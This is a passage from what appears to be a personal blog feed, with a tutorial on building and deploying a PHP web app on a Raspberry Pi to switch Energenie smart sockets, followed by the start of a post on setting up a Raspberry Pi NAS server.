AppFactory::setContainer($container);

$app = AppFactory::create();

// Add middleware
$app-&gt;addBodyParsingMiddleware();

// Register routes
$app-&gt;get('/', function (Request $request, Response $response) {
	$response-&gt;getBody()-&gt;write('Hello world!');
	return $response;
});

return $app;
</code></pre><p>With this in place, we could navigate to our home page and it should show "Hello world!".</p><h3 id="other-dependencies">Other dependencies</h3><p>For any data that we'll need to persist, we're going to need a database. To manage the persistence service and related functionality, we will be using <a href="https://www.doctrine-project.org/">Doctrine</a> ORM, the Object-Relational Mapper that is used by Symfony. </p><p>Install Doctrine ORM</p><pre><code class="language-terminal">composer require doctrine/orm</code></pre><p>To use the Doctrine entity manager and provide our MySQL database credentials, we need to add the following to our bootstrap.php file:</p><figure class="kg-card kg-code-card"><pre><code>/* ... */

$containerBuilder = new ContainerBuilder();

$containerBuilder-&gt;addDefinitions([
    // dependencies
    EntityManagerInterface::class =&gt; function (): EntityManager {
        $config = Setup::createAnnotationMetadataConfiguration([__DIR__.'/../src/Domain/'], true);
        $config-&gt;setMetadataDriverImpl(
            new AnnotationDriver(new AnnotationReader, [__DIR__.'/../src/Domain/'])
        );

        $config-&gt;setMetadataCacheImpl(
            new FilesystemCache(__DIR__.'/../var/cache/doctrine')
        );

        return EntityManager::create([
            'driver' =&gt; "pdo_mysql",
            'host' =&gt; "localhost",
            'port' =&gt; "3306",
            'dbname' =&gt; "homedomo",
            'user' =&gt; "domouser",
            'password' =&gt; "pasword$%^&amp;*",
        ], $config);
    },

]);

// Build PHP-DI Container instance
$container = $containerBuilder-&gt;build();

/* ... */</code></pre><figcaption>bootstrap.php</figcaption></figure><p>However,  this would expose our DB credentials and possibly other config to the version control system. To avoid this, we can make use of <a href="https://github.com/vlucas/phpdotenv">dotenv</a> in order to abstract our credentials from our code.</p><p>Install DotEnv</p><pre><code class="language-terminal">composer require vlucas/phpdotenv</code></pre><p>create <code>.env</code> file in our root directory  with the following values:</p><figure class="kg-card kg-code-card"><pre><code>DB_DRIVER="pdo_mysql"
DB_HOST="localhost"
DB_PORT=3306
DB_NAME="homedomo"
DB_USER="domouser"
DB_PASSWORD="pasword$%^&amp;*"</code></pre><figcaption>.env</figcaption></figure><p>And edit the bootstrap.php to include the .env values:</p><figure class="kg-card kg-code-card"><pre><code>&lt;?php
/* ... */

$dotenv = Dotenv::createImmutable(__DIR__.'/../');
$dotenv-&gt;load();

/* ... */

        return EntityManager::create([
            'driver' =&gt; $_ENV['DB_DRIVER'],
            'host' =&gt; $_ENV['DB_HOST'],
            'port' =&gt; $_ENV['DB_PORT'],
            'dbname' =&gt; $_ENV['DB_NAME'],
            'user' =&gt; $_ENV['DB_USER'],
            'password' =&gt; $_ENV['DB_PASSWORD'],
        ], $config);

/* ... */
</code></pre><figcaption>bootstrap.php</figcaption></figure><p>We won't commit the <code>.env</code> to our source code repository making thus our database credentials independent to our source code.</p><p>To run database migrations, validate class annotations and so on we will use the Doctrine CLI application that is already present at <code>vendor/bin</code>, but in order to work, this script needs a <a href="http://docs.doctrine-project.org/en/latest/reference/configuration.html#setting-up-the-commandline-tool"><code>cli-config.php</code></a>file at the root of the project telling it how to find the <code>EntityManager</code> we just set up:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

use Doctrine\ORM\EntityManagerInterface;
use Doctrine\ORM\Tools\Console\ConsoleRunner;

$container = (require __DIR__ . '/config/bootstrap.php')-&gt;getContainer();

return ConsoleRunner::createHelperSet($container-&gt;get(EntityManagerInterface::class));
</code></pre><figcaption>cli-config.php</figcaption></figure><p>Lastly, we want to install <a href="https://twig.symfony.com/">Twig</a>, a PHP flexible template engine to help us display our views:</p><pre><code class="language-terminal">composer require slim/twig-view</code></pre><p>After adding these dependencies, our bootstrap file will look like  this:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

use App\Controllers\HomeController;
use App\Controllers\SwitchController;
use DI\ContainerBuilder;
use Doctrine\Common\Annotations\AnnotationReader;
use Doctrine\Common\Cache\FilesystemCache;
use Doctrine\ORM\EntityManager;
use Doctrine\ORM\EntityManagerInterface;
use Doctrine\ORM\Mapping\Driver\AnnotationDriver;
use Doctrine\ORM\Tools\Setup;
use Psr\Container\ContainerInterface;
use Slim\App;
use Slim\Factory\AppFactory;
use Slim\Views\Twig;
use Slim\Views\TwigMiddleware;
use Dotenv\Dotenv;

require_once __DIR__ . '/../vendor/autoload.php';

$dotenv = Dotenv::createImmutable(__DIR__.'/../');
$dotenv-&gt;load();

$containerBuilder = new ContainerBuilder();

$containerBuilder-&gt;addDefinitions([
    // dependencies
    EntityManagerInterface::class =&gt; function (): EntityManager {
        $config = Setup::createAnnotationMetadataConfiguration([__DIR__.'/../src/Domain/'], true);
        $config-&gt;setMetadataDriverImpl(
            new AnnotationDriver(new AnnotationReader, [__DIR__.'/../src/Domain/'])
        );

        $config-&gt;setMetadataCacheImpl(
            new FilesystemCache(__DIR__.'/../var/cache/doctrine')
        );

        return EntityManager::create([
            'driver' =&gt; $_ENV['DB_DRIVER'],
            'host' =&gt; $_ENV['DB_HOST'],
            'port' =&gt; $_ENV['DB_PORT'],
            'dbname' =&gt; $_ENV['DB_NAME'],
            'user' =&gt; $_ENV['DB_USER'],
            'password' =&gt; $_ENV['DB_PASSWORD'],
        ], $config);
    },

    // Twig templates
    Twig::class =&gt; function () {
        return Twig::create(__DIR__ . '/../templates', ['cache' =&gt; false]);
    },

]);

// Build PHP-DI Container instance
$container = $containerBuilder-&gt;build();

// Instantiate the app
AppFactory::setContainer($container);

$app = AppFactory::create();

// Add middleware
$app-&gt;addBodyParsingMiddleware();
$app-&gt;add(TwigMiddleware::createFromContainer($app, Twig::class));

// Register routes
$app-&gt;get('/', function (Request $request, Response $response) {
	$response-&gt;getBody()-&gt;write('Hello world!');
	return $response;
});

return $app;
</code></pre><figcaption>bootstrap.php</figcaption></figure><p>Now we can say, we're ready to start designing our software.</p><h3 id="the-domain">The domain</h3><p>The first thing we need to model are the sockets. We will use a Doctrine entity to store on DB the following information:</p><ul><li>Socket ID</li><li>Name</li><li>Description</li></ul><p>So we create our model class under <code>src/Domain/Socket.php</code></p><figure class="kg-card kg-code-card"><pre><code>&lt;?php

namespace App\Domain;

use Doctrine\ORM\Mapping as ORM;

/**
 * Socket
 *
 * @ORM\Table(name="homedomo.sockets")
 * @ORM\Entity
 */
class Socket
{
	/**
	 * @var integer
	 *
	 * @ORM\Column(name="id", type="integer", nullable=false)
	 * @ORM\Id
	 * @ORM\GeneratedValue(strategy="IDENTITY")
	 */
	private $id;

	/**
	 * @var string
	 *
	 * @ORM\Column(name="name", type="string", length=50, nullable=false)
	 */
	private $name;

	/**
	 * @var string
	 *
	 * @ORM\Column(name="description", type="string", length=256, nullable=false)
	 */
	private $description;

	/**
	 * Get id
	 *
	 * @return integer
	 */
	public function getId()
	{
		return $this-&gt;id;
	}
	
	/**
	 * Set name
	 *
	 * @param string $name
	 *
	 * @return Socket
	 */
	public function setName($name)
	{
		$this-&gt;name = $name;

		return $this;
	}

	/**
	 * Get name
	 *
	 * @return string
	 */
	public function getName()
	{
		return $this-&gt;name;
	}

	/**
	 * Set description
	 *
	 * @param string $description
	 *
	 * @return Socket
	 */
	public function setDescription($description)
	{
		$this-&gt;description = $description;

		return $this;
	}

	/**
	 * Get description
	 *
	 * @return string
	 */
	public function getDescription()
	{
		return $this-&gt;description;
	}

}</code></pre><figcaption>Socket.php</figcaption></figure><p>To create this table on our DB, we just run <code>php vendor/bin/doctrine orm:schema-tool:update</code>. Alternatively we can just prepare the <code>CREATE  TABLE</code> statement on SQL and run it using our management system (phpmyadmin, MySQL workbench, etc).</p><p>To seed the DB, we could create a migration that would input some records on our DB but the sake of simplicity, I'll just manually input the desired records on DB:</p><pre><code class="language-SQL">INSERT INTO sockets (`id`, `name`, `description`)
VALUES
(1, 'Living room', 'Living room mantelpiece lamp'),
(2, 'Office', 'Office desk lamp'),
(3, 'Bedroom', 'Bedroom night stand lamp');</code></pre><h3 id="socket-operations-factory-method-">Socket Operations (factory method)</h3><p>For now, we will create three kinds of socket operations (I decided to call them 'operations' rather than 'actions' in order not to confuse them with the controller actions): 'On', 'Off' and 'Pair'. Those operations apply to any of the sockets and will execute one of the python scripts we included in the <code>bin/</code> directory of our project. To model this, we can make use of an abstract class that will hold the common functionality of any operation and extend it for each of the aforementioned operations. If, in the future, we decided to add a new socket operation, we would just need to extend this class again to create the new one. Finaly we could use a class that would create the kind of operation we need depending on the case. In <a href="https://en.wikipedia.org/wiki/Software_engineering">Software Engineering</a>, this is called a <a href="https://en.wikipedia.org/wiki/Factory_method_pattern">factory method</a> <a href="https://en.wikipedia.org/wiki/Software_design_pattern">design pattern</a> and is a nice way to show good development practices in this project.</p><p>Create the following files on <code>src/Application/SocketOperations</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Application\SocketOperations;

use App\Application\SocketOperations\Exceptions\SocketOperationRunFailedException;
use App\Domain\Socket;

abstract class SocketOperation
{
    protected $program = '/usr/bin/python';
    protected $scriptPath;
    protected $socket;

    public function __construct(Socket $socket, $scriptPath = '/home/pi')
    {
        $this-&gt;scriptPath = $scriptPath;
        $this-&gt;socket = $socket;
    }

    abstract public function getCommandString();

    public function run()
    {
        $output = [];
        $return = null;

        exec(escapeshellcmd($this-&gt;getCommandString()), $output, $return);

        if ($return !== 0)
        {
            throw new SocketOperationRunFailedException(implode(" ", $output));
        }

        return $output;
    }
}</code></pre><figcaption>SocketOperation.php</figcaption></figure><p>And then, extend this for specific operations:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Application\SocketOperations;
use App\Domain\Socket;

class SocketPowerOn extends SocketOperation
{
    public function getCommandString()
    {
        return "{$this-&gt;program} {$this-&gt;scriptPath}/energenie_switch.py {$this-&gt;socket-&gt;getId()} on";
    }
}</code></pre><figcaption>SocketPowerOn.php</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>&lt;?php

namespace App\Application\SocketOperations;
use App\Domain\Socket;

class SocketPowerOff extends SocketOperation
{
    public function getCommandString()
    { 
        return "{$this-&gt;program} {$this-&gt;scriptPath}/energenie_switch.py {$this-&gt;socket-&gt;getId()} off";
    }
}</code></pre><figcaption>SocketPowerOff.php</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>&lt;?php

namespace App\Application\SocketOperations;
use App\Domain\Socket;

class SocketPair extends SocketOperation
{
    public function getCommandString()
    { 
        return "{$this-&gt;program} {$this-&gt;scriptPath}/energenie_pair.py {$this-&gt;socket-&gt;getId()}";
    }
}</code></pre><figcaption>SocketPair.php</figcaption></figure><p>And finally, the factory:</p><figure class="kg-card kg-code-card"><pre><code>&lt;?php

namespace App\Application\SocketOperations;

use App\Domain\Socket;
use App\Application\SocketOperations\Exceptions\SocketOperationNotFoundException;
use App\Utility\Configuration;

class SocketOperationFactory
{
    const OPERATION_ON = 'on';
    const OPERATION_OFF = 'off';
    const OPERATION_PAIR = 'pair';

    const OPERATIONS = [
        self::OPERATION_ON,
        self::OPERATION_OFF,
        self::OPERATION_PAIR
    ];

    protected $scriptPath;

    public function __construct(Configuration $config)
    {
        $this-&gt;scriptPath = $config-&gt;get('scripts_path');
    }

    public function createSocketOperation(string $operation, Socket $socket)
    {
        if ($operation == self::OPERATION_ON)
        {
            return new SocketPowerOn($socket, $this-&gt;scriptPath);
        }
        else if ($operation == self::OPERATION_OFF)
        {
            return new SocketPowerOff($socket, $this-&gt;scriptPath);
        }
        else if ($operation == self::OPERATION_PAIR)
        {
            return new SocketPair($socket, $this-&gt;scriptPath);
        }
        
        throw new SocketOperationNotFoundException();
    }
}</code></pre><figcaption>SocketOperationFactory.php</figcaption></figure><p>In this example, I'm injecting a Configuration object that I created to hold any config info that would need to be available at any point in the application. In this case, I'm adding the <code>bin/scripts</code> directory of our project so those are the scripts executed when calling a socket operation. To make this available, I added the following to our <code>config/bootstrap.php</code> file:</p><pre><code>    // Configuration
    Configuration::class =&gt; new Configuration([
        // python scripts path
        'scripts_path' =&gt; __DIR__ . '/../bin/scripts'
    ])</code></pre><h3 id="controllers">Controllers</h3><p>Now we need to develop the controllers. We only need two actions for now: rendering the home page or executing an operation. Slim allows you to create controller action in several ways, such as:</p><ul><li>As a closure function where the route is defined (as in the bootstrap.php example).</li><li>As a class implementing <code>__invoke()</code> method.</li><li>As a class method.</li></ul><p>I'm going to go ahead and use the third way, as I'm sure having a controller class will be useful as the application grows. The switch action can be defined in <code>src/Controllers/</code> like this:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Controllers;

use App\Application\SocketOperations\SocketOperationFactory;
use App\Domain\Socket;
use Doctrine\ORM\EntityManagerInterface;
use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;

class SwitchController
{
    protected $em;
    protected $operationFactory;

    public function __construct(EntityManagerInterface $em, SocketOperationFactory $operationFactory) {

        $this-&gt;em = $em;
        $this-&gt;operationFactory = $operationFactory;
    }

    public function switch(Request $request, Response $response, $args){

        $data = $request-&gt;getParsedBody();
        $socket = $this-&gt;em-&gt;getRepository(Socket::class)-&gt;find($data["socket"]);
        $operation = $this-&gt;operationFactory-&gt;createSocketOperation($args['power'], $socket);
        
        try
        {
            $operationReturn = $operation-&gt;run();
        }
        catch (\Exception $ex)
        {
            $errorResponse = ['message' =&gt; $ex-&gt;getMessage()];
            $response-&gt;getBody()-&gt;write(json_encode($errorResponse));
            return $response
                        -&gt;withHeader('Content-Type', 'application/json')
                        -&gt;withStatus(400);
        }

        $returnData = ['message' =&gt; "Socket {$socket-&gt;getName()} is {$args['power']}", 'result' =&gt; implode(' ', $operationReturn)];
        $response-&gt;getBody()-&gt;write(json_encode($returnData));

        return $response
                -&gt;withHeader('Content-Type', 'application/json');
    }
}
</code></pre><figcaption>SwitchController.php</figcaption></figure><p>We need to add the routes on the bootstrap.php file like so:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

use App\Controllers\HomeController;
use App\Controllers\SwitchController;

/* ... */

$app-&gt;post('/switch/{power}', SwitchController::class . ':switch');
$app-&gt;get('/', HomeController::class . ':home');
</code></pre><figcaption>bootstrap.php</figcaption></figure><h3 id="view">View</h3><p>The last thing to do is to create the home (and only) page controller. For this, I'll be using <a href="https://getbootstrap.com/">Bootstrap</a>, and JQuery to send the requests to the server. First we need to develop the controller:</p><figure class="kg-card kg-code-card"><pre><code class="language-PHP">&lt;?php

namespace App\Controllers;

use App\Domain\Socket;
use Doctrine\ORM\EntityManagerInterface;
use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;
use Slim\Views\Twig;

class HomeController
{
    protected $em;
    protected $view;

    public function __construct(EntityManagerInterface $em, Twig $view) {
        $this-&gt;em = $em;
        $this-&gt;view = $view;
    }

    public function home(Request $request, Response $response, $args){
        $socketRepository = $this-&gt;em-&gt;getRepository(Socket::class);
        $sockets = $socketRepository-&gt;findAll();
        return $this-&gt;view-&gt;render($response, 'index.twig', ["sockets" =&gt; $sockets]);
    }
}
</code></pre><figcaption>HomeController.php</figcaption></figure><p>And finally, a view using Twig:</p><pre><code class="language-HTML">&lt;!doctype html&gt;
&lt;html lang="en"&gt;
    &lt;head&gt;
        &lt;meta charset="utf-8"&gt;
        &lt;meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"&gt;
        &lt;meta name="description" content=""&gt;
        &lt;meta name="author" content=""&gt;
        &lt;link rel="icon" href="/docs/4.0/assets/img/favicons/favicon.ico"&gt;

        &lt;title&gt;Cam House sockets&lt;/title&gt;

        &lt;!-- Bootstrap core CSS --&gt;
        &lt;link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"&gt;
        &lt;style&gt;

            html,
            body {
                height: 100%;
            }

        &lt;/style&gt;
    &lt;/head&gt;

    &lt;body class="text-center"&gt;
        &lt;div class="container d-flex h-100 p-3 mx-auto flex-column"&gt;
            &lt;header class="mb-auto"&gt;
                &lt;h3 class="brand"&gt;House Sockets&lt;/h3&gt;
            &lt;/header&gt;

            &lt;main role="main"&gt;
                &lt;div class="alert" role="alert" style="display:none"&gt;
                &lt;/div&gt;
                &lt;table class="table"&gt;
                    &lt;tbody&gt;
                    {% for socket in sockets %}
                        &lt;tr data-id={{ socket.id }}&gt;
                            &lt;td&gt;Socket {{ socket.id }}&lt;/td&gt;&lt;td&gt;{{ socket.name }}&lt;/td&gt;&lt;td&gt;{{ socket.description }}&lt;/td&gt;&lt;td&gt;&lt;a class="btn btn-success btn-on"&gt;on&lt;/a&gt; &lt;a class="btn btn-danger btn-off"&gt;off&lt;/a&gt;&lt;/td&gt;
                        &lt;/tr&gt;
                    {% endfor %}
                    &lt;/tbody&gt;
                &lt;/table&gt;
            &lt;/main&gt;

            &lt;footer class="mt-auto"&gt;
            &lt;/footer&gt;
        &lt;/div&gt;

        &lt;!-- JS, Popper.js, and jQuery --&gt;
        &lt;script src="https://code.jquery.com/jquery-3.5.1.js" integrity="sha256-QWo7LDvxbWT2tbbQ97B53yJnYU3WhH/C8ycbRAkjPDc=" crossorigin="anonymous"&gt;&lt;/script&gt;
        &lt;script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN" crossorigin="anonymous"&gt;&lt;/script&gt;
        &lt;script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV" crossorigin="anonymous"&gt;&lt;/script&gt;
    
        &lt;script&gt;
        	$(document).ready(function() {

                function switchSocket(url, socket){
                    $.post(url, { "socket" : socket }, null, "json")
                    .done(function(data) {
                        $alert = $('.alert')
                        $alert.addClass('alert-success').html(data.message).fadeIn();
                        setTimeout(function(){
                            $alert.fadeOut();
                        }, 2000)
                    })
                    .fail(function(data) {
                        $alert = $('.alert')
                        $alert.addClass('alert-danger').html(data.responseJSON.message).fadeIn();
                        setTimeout(function(){
                            $alert.fadeOut();
                        }, 2000)
                    });
                }

                $(".btn-on").click(function() {
                    const socketId = $(this).closest("tr").data("id")
                    switchSocket("/switch/on", socketId)
                });

                $(".btn-off").click(function() {
                    const socketId = $(this).closest("tr").data("id")
                    switchSocket("/switch/off", socketId)
                });
            });
        &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre><p>With this, our web application to control the switches can be considered finished for the scope of this article.</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/10/Screenshot-2020-10-14-at-09.38.24.png" class="kg-image" alt="Raspberry Pi hosted web application to manage Energenie sockets" width="1021" height="614" srcset="https://samuelrebollo.com/content/images/size/w600/2020/10/Screenshot-2020-10-14-at-09.38.24.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/10/Screenshot-2020-10-14-at-09.38.24.png 1000w, https://samuelrebollo.com/content/images/2020/10/Screenshot-2020-10-14-at-09.38.24.png 1021w" sizes="(min-width: 720px) 720px"></figure><h2 id="set-up-web-server">Set up web server</h2><h3 id="install-apache">Install Apache</h3><p>In order to deploy our application to our Raspberry Pi, we first need to set it up as a <a href="https://en.wikipedia.org/wiki/Web_server">web server</a>. The software par excellence that allows the machine to manage user http requests is Apache, which is at the moment the most used web server with about 60% of the web using it.</p><p>Before installing Apache it is always good practice to update our machine:</p><pre><code class="language-terminal">$ sudo apt-get update
$ sudo apt-get upgrade</code></pre><p>Once the Raspberry Pi is up to date, we install the Apache server</p><pre><code class="language-terminal">$ sudo apt-get install apache2</code></pre><p>Once the installation is completed, we can test that Apache is working properly by going to the Raspberry Pi address on a browser, so we can open our browser and type "http://192.168.0.31". You should then get a page with a message saying "It works!" and plenty of other text.</p><h3 id="install-php">Install PHP</h3><p>We need to install the PHP interpreter in order to serve our application:</p><pre><code class="language-terminal">$ sudo apt install php php-mbstring</code></pre><p>To check php is working, delete the <code>index.html</code> file in <code>/var/www/html</code> and then create an <code>index.php</code> file:</p><pre><code class="language-terminal">echo "&lt;?php phpinfo();?&gt;" &gt; /var/www/html/index.php</code></pre><p>Check again "http://192.168.0.31" and we should see the PHP info page.</p><h3 id="install-mysql">Install MySQL</h3><pre><code class="language-terminal">$ sudo apt-get install mariadb-server php-mysql</code></pre><p>To check MySQL is working we will connect via the command:</p><pre><code class="language-terminal">$ sudo mysql --user=root</code></pre><p>We will now delete the default MySQL root user and create a new user, because the default one can only be used with Linux root account, and so not available for the webserver and php scripts. To do so, once we connect to MySQL, we simply run the following commands:</p><pre><code>DROP USER 'root'@'localhost';
CREATE USER 'root'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;</code></pre><p>So we now have <strong>a web server, connected to PHP and MySQL</strong>.</p><h2 id="deployment">Deployment</h2><h3 id="copy-files-and-add-permissions">Copy files and add permissions</h3><p>Due to the simplicity of this project, we will not set up any complex deployment strategy. To deploy our application we'll keep it simple this time: we will copy over our code files to our Raspberry Pi web directory <code>/var/www/html</code> using an FTP client like <a href="https://filezilla-project.org/">Filezilla</a>.</p><p>The Apache user www-data will be the one reading the web app so we should set it as owner and grant apropriate permissions:</p><pre><code class="language-terminal">$ sudo chown -R pi:www-data /var/www/html/
$ sudo chmod -R 770 /var/www/html/</code></pre><p>Then, we need to make sure the energenie python scripts work. We can test this with <a href="https://www.postman.com/">Postman</a>. Take into account that it will be the <code>www-data</code> linux user who will be executing the python scripts so we need to make sure that it has the correct permissions and the scripts are executable so we need to run the following:</p><pre><code class="language-terminal">$ sudo chmod +x /var/www/html/bin/scripts/energenie_pair.py
$ sudo chmod +x /var/www/html/bin/scripts/energenie_switch.py</code></pre><p>I had trouble getting this to work because the <code>www-data</code> needed to be added to the gpio group in order to  have access to the GPIO pins of the Raspberry Pi. Having googled around, this is apparently no longer required. However, I still needed to do it:</p><pre><code class="language-terminal">$ sudo adduser www-data gpio</code></pre><h3 id="redirect-traffic">Redirect traffic</h3><p>Now, as we mentioned eariler, we need to redirect all the traffic to the single entry point, located in <code>public/index.php</code>. To do that, we create a .htaccess file in <code>public/</code> with the following code:</p><pre><code># Redirect to single entry point
RewriteEngine On
# RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]</code></pre><p>and add another .htaccess file on the project route directory:</p><pre><code>RewriteEngine on
RewriteRule ^$ public/ [L]
RewriteRule (.*) public/$1 [L]</code></pre><p>This will override any attempt to access  a script directly and direct it to the <code>public/index.php</code> entry point.</p><h3 id="and-it-s-ready-">And it's ready!</h3><p>The application should now be available to view and use on our Raspberry IP address, so typing http://192.168.0.31 on a browser should show our fully working application:</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/10/cam_house.gif" class="kg-image" alt="Raspberry Pi hosted web application to manage Energenie sockets" width="480" height="265"></figure><h2 id="conclusions-and-furtherwork">Conclusions and furtherwork</h2><p>With this example, we have shown the whole development, set-up and deployment of a properly structured web application running on a Raspberry Pi plus the use of the PiMote board, as an application to home domotics. Our software and hardfware set-up allows us to switch our sockets on and off as long as we're connected to our house network. Further improvements to the software should allow us to program our sockets at different times of the day as it was the original intention of this article. Due to the length of this article, this will be developed in next article.</p><p>Other improvements could involve making the application available outside our network so we can edit our programs and manually switch our Energenie sockets when we are away.</p>]]></content:encoded></item><item><title><![CDATA[NAS server on a Raspberry Pi]]></title><description><![CDATA[<p>In this spring/lockdown clearing, I unburied an old Raspberry Pi I bought several years ago but never did anything with it. I was in need of a new project so I decided to do something useful and build a file server. My current laptop's HD is only 500GB which</p>]]></description><link>https://samuelrebollo.com/nas-server-on-a-raspberry-pi/</link><guid isPermaLink="false">5f3fb9db5296fd2b670b0a53</guid><category><![CDATA[Raspberry Pi]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Samuel Rebollo Díaz]]></dc:creator><pubDate>Mon, 20 Jul 2020 17:43:00 GMT</pubDate><media:content url="https://samuelrebollo.com/content/images/2020/09/harrison-broadbent-hSHNPyND_dU-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://samuelrebollo.com/content/images/2020/09/harrison-broadbent-hSHNPyND_dU-unsplash.jpg" alt="NAS server on a Raspberry Pi"><p>In this spring/lockdown clearing, I unburied an old Raspberry Pi I bought several years ago but never did anything with it. I was in need of a new project so I decided to do something useful and build a file server. My current laptop's HD is only 500GB which is no longer enough to hold all my files. I have 20 years of pictures, and all the files I've accumulated during the years that add up to around 700GB. Having all my data copied on the computer's hard drive is not an option any more so I have an external HD that I use to store stuff. I regularly backup the content of my working hard drive to another external one since a time when I almost lost everything due to an HD malfunction (I had to send my hard drive to a specialised data recovery company and spend 1300 euros to get my data back).</p><p>So I decided to create this NAS server in order to have my data accessible without the bother to have to plug the external HD (and use one of the two usb ports I have available) and considering it would be a first step to automate and schedule my backup process.</p><h3 id="stuff-i-used">Stuff I used</h3><ul><li>Raspberry PI 2 model B (I guess any other can be used, but this is the one I had).</li><li>32 GB Micro SD card</li><li>Old micro USB mobile charger as a power source (Output ~ 5V, 2A)</li><li>1 TB external HD</li><li>WiFi dongle (<strong>for setup only</strong>, this model doesn't integrate wifi and my screen is far from the router so I used a wifi dongle for the first setup).</li><li>USB keyboard (<strong>for setup only</strong>)</li><li>HDMI Screen (<strong>for setup only</strong>)</li></ul><h2 id="let-s-get-started">Let's get started</h2><h3 id="1-burn-sd-card">1.	Burn SD card</h3><p>The first thing you need to do is prepare the SD card. Raspberry Pi has now its own application to do this so we don't need to use etcher any more. Just <a href="https://www.raspberrypi.org/downloads/">download</a> and install <em>Raspberry Pi Imager</em>, select OS and SD card and burn the card.</p><p>As I'm preparing the card for a file server, I won't be needing any graphic interface so Raspberry Pi OS Line version is enough.</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-14-at-16.23.02.png" class="kg-image" alt="NAS server on a Raspberry Pi" width="1366" height="886" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/Screenshot-2020-08-14-at-16.23.02.png 600w, https://samuelrebollo.com/content/images/size/w1000/2020/09/Screenshot-2020-08-14-at-16.23.02.png 1000w, https://samuelrebollo.com/content/images/2020/09/Screenshot-2020-08-14-at-16.23.02.png 1366w" sizes="(min-width: 720px) 720px"></figure><h3 id="2-plug-and-go">2.	Plug and go</h3><p>Once the card is ready, insert it into the Raspberry Pi, plug the power source, the wifi dongle, the screen and the keyboard. The Raspberry Pi should start when you plug the power source into the socket.</p><p>Once the OS has finished loading, login as the pi user (by default the password is 'raspberry')</p><h3 id="3-config-wifi">3.	Config WiFi</h3><p>This step is only necessary if you can't plug your Pi ethernet port to your router. I needed to do this step for setup but used the ethernet port later.</p><p>To tell the Raspberry Pi to connect to our WiFi network we need to edit a file called <em>wpa_supplicant.conf</em>.</p><p>To open the file in nano type the following command:</p><pre><code class="language-terminal">$ sudo nano /etc/wpa_supplicant/wpa_supplicant.conf</code></pre><p>Add the following to the file to configure our network:</p><pre><code>network={
	ssid="WIFI name"
	psk="password"
}</code></pre><p>For this config to take effect, we need to restart our Raspberry.</p><pre><code class="language-terminal">$ sudo reboot</code></pre><p>Once it has restarted, check that the network is accessible by typing:</p><pre><code>$ ifconfig wlan0</code></pre><h3 id="4-activate-ssh">4.	Activate ssh</h3><p>It is good practice to change the default password before activating remote access through ssh to avoid any security issues. To change the password for the pi user, log in as pi and type:</p><pre><code class="language-terminal">$ passwd</code></pre><p>Once the password is changed, we can activate ssh by typing:</p><pre><code class="language-terminal">$ sudo raspi-config</code></pre><p>and selecting <em>5 Inerfacing Options</em></p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/IMG_5720.jpg" class="kg-image" alt="NAS server on a Raspberry Pi" width="4028" height="2022" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/IMG_5720.jpg 600w, https://samuelrebollo.com/content/images/size/w1000/2020/09/IMG_5720.jpg 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/09/IMG_5720.jpg 1600w, https://samuelrebollo.com/content/images/size/w2400/2020/09/IMG_5720.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p>And then P2 SSH.</p><figure class="kg-card kg-image-card"><img src="https://samuelrebollo.com/content/images/2020/09/IMG_5721.jpg" class="kg-image" alt="NAS server on a Raspberry Pi" width="4016" height="2082" srcset="https://samuelrebollo.com/content/images/size/w600/2020/09/IMG_5721.jpg 600w, https://samuelrebollo.com/content/images/size/w1000/2020/09/IMG_5721.jpg 1000w, https://samuelrebollo.com/content/images/size/w1600/2020/09/IMG_5721.jpg 1600w, https://samuelrebollo.com/content/images/size/w2400/2020/09/IMG_5721.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p>Once SSH is enabled, we can unplug the screen and keyboard, and access it remotely. I also moved my Raspberry Pi next to the router, connected it to the Raspberry Pi ethernet port and removed the WiFi dongle.</p><p>Once this was done and the Raspberry pi was back on, I could ssh from my computer and continue the process.</p><pre><code class="language-terminal">$ ssh pi@192.168.0.31</code></pre><h3 id="5-install-samba">5.	Install Samba</h3><p>Samba is a free implementation of the <a href="https://en.wikipedia.org/wiki/Server_Message_Block">SMB</a> networking protocol; it provides file and print services and allows Linux computers to integrate into Microsoft’s active directory environments seamlessly. By using 